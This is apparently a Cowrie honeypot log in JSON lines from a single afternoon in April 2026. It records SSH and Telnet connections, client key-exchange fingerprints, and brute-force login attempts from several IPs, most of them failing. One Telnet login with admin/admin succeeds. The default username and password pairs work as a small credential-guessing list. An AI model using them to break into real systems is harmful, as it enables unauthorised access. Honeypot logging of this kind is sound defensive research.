{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":26959,"dst_ip":"159.203.135.109","dst_port":22,"session":"440e82ad6163","protocol":"ssh","message":"New connection: 213.209.159.159:26959 (159.203.135.109:22) [session: 440e82ad6163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:04.929214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:04.934352Z","src_ip":"213.209.159.159","session":"440e82ad6163","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:05.024744Z","src_ip":"213.209.159.159","session":"440e82ad6163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"autum","password":"autum","message":"login attempt [autum/autum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:05.439954Z","src_ip":"213.209.159.159","session":"440e82ad6163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"autum","password":"autum1","message":"login attempt [autum/autum1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:06.526035Z","src_ip":"213.209.159.159","session":"440e82ad6163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"autum","password":"autum123","message":"login attempt [autum/autum123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:07.611091Z","src_ip":"213.209.159.159","session":"440e82ad6163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"autum","password":"autum1234","message":"login attempt [autum/autum1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:08.696278Z","src_ip":"213.209.159.159","session":"440e82ad6163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"autum","password":"autum12345","message":"login attempt [autum/autum12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:09.781602Z","src_ip":"213.209.159.159","session":"440e82ad6163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:10.867218Z","src_ip":"213.209.159.159","session":"440e82ad6163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52356,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbcd17f02421","protocol":"ssh","message":"New connection: 159.203.92.129:52356 (159.203.135.109:22) [session: dbcd17f02421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:13.450038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:13.454468Z","src_ip":"159.203.92.129","session":"dbcd17f02421","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:13.463736Z","src_ip":"159.203.92.129","session":"dbcd17f02421","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"abc123","message":"login attempt [administrator/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:13.476572Z","src_ip":"159.203.92.129","session":"dbcd17f02421","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:14.483802Z","src_ip":"159.203.92.129","session":"dbcd17f02421","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.62.200.191","src_port":34288,"dst_ip":"10.17.0.5","dst_port":23,"session":"903abf77fbd7","protocol":"telnet","message":"New connection: 46.62.200.191:34288 (10.17.0.5:23) [session: 903abf77fbd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:21.241687Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53804,"dst_ip":"159.203.135.109","dst_port":22,"session":"78e07b9385f6","protocol":"ssh","message":"New connection: 159.203.92.129:53804 (159.203.135.109:22) [session: 78e07b9385f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:58.542419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:58.546169Z","src_ip":"159.203.92.129","session":"78e07b9385f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:58.549988Z","src_ip":"159.203.92.129","session":"78e07b9385f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"admin123","message":"login attempt [administrator/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:58.559277Z","src_ip":"159.203.92.129","session":"78e07b9385f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:11:59.565614Z","src_ip":"159.203.92.129","session":"78e07b9385f6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:12:21.574277Z","src_ip":"46.62.200.191","session":"903abf77fbd7","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:12:21.628477Z","src_ip":"46.62.200.191","session":"903abf77fbd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49114,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fe1d53cbdfb","protocol":"ssh","message":"New connection: 159.203.92.129:49114 (159.203.135.109:22) [session: 4fe1d53cbdfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:12:42.065804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:12:42.078377Z","src_ip":"159.203.92.129","session":"4fe1d53cbdfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:12:42.082043Z","src_ip":"159.203.92.129","session":"4fe1d53cbdfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:12:42.164866Z","src_ip":"159.203.92.129","session":"4fe1d53cbdfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":10016,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa148ea5b13f","protocol":"ssh","message":"New connection: 125.166.19.90:10016 (159.203.135.109:22) [session: fa148ea5b13f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:12:42.751779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:12:42.756508Z","src_ip":"125.166.19.90","session":"fa148ea5b13f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:12:43.026567Z","src_ip":"125.166.19.90","session":"fa148ea5b13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:12:43.176641Z","src_ip":"159.203.92.129","session":"4fe1d53cbdfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@12345","message":"login attempt [user/user@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:12:44.135098Z","src_ip":"125.166.19.90","session":"fa148ea5b13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:12:45.408602Z","src_ip":"125.166.19.90","session":"fa148ea5b13f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":33420,"dst_ip":"10.17.0.5","dst_port":22,"session":"39d2e946599c","protocol":"ssh","message":"New connection: 194.59.206.2:33420 (10.17.0.5:22) [session: 39d2e946599c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:13:21.432657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:13:21.437042Z","src_ip":"194.59.206.2","session":"39d2e946599c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:13:21.534539Z","src_ip":"194.59.206.2","session":"39d2e946599c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:13:21.629490Z","src_ip":"194.59.206.2","session":"39d2e946599c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33910,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fca89a1de8b","protocol":"ssh","message":"New connection: 159.203.92.129:33910 (159.203.135.109:22) [session: 6fca89a1de8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:13:24.165286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:13:24.170350Z","src_ip":"159.203.92.129","session":"6fca89a1de8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:13:24.175351Z","src_ip":"159.203.92.129","session":"6fca89a1de8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator111","message":"login attempt [administrator/administrator111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:13:24.189245Z","src_ip":"159.203.92.129","session":"6fca89a1de8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:13:25.195150Z","src_ip":"159.203.92.129","session":"6fca89a1de8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44262,"dst_ip":"159.203.135.109","dst_port":22,"session":"7180bf13e20c","protocol":"ssh","message":"New connection: 159.203.92.129:44262 (159.203.135.109:22) [session: 7180bf13e20c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:14:06.296916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:14:06.306019Z","src_ip":"159.203.92.129","session":"7180bf13e20c","protocol":"ssh"}
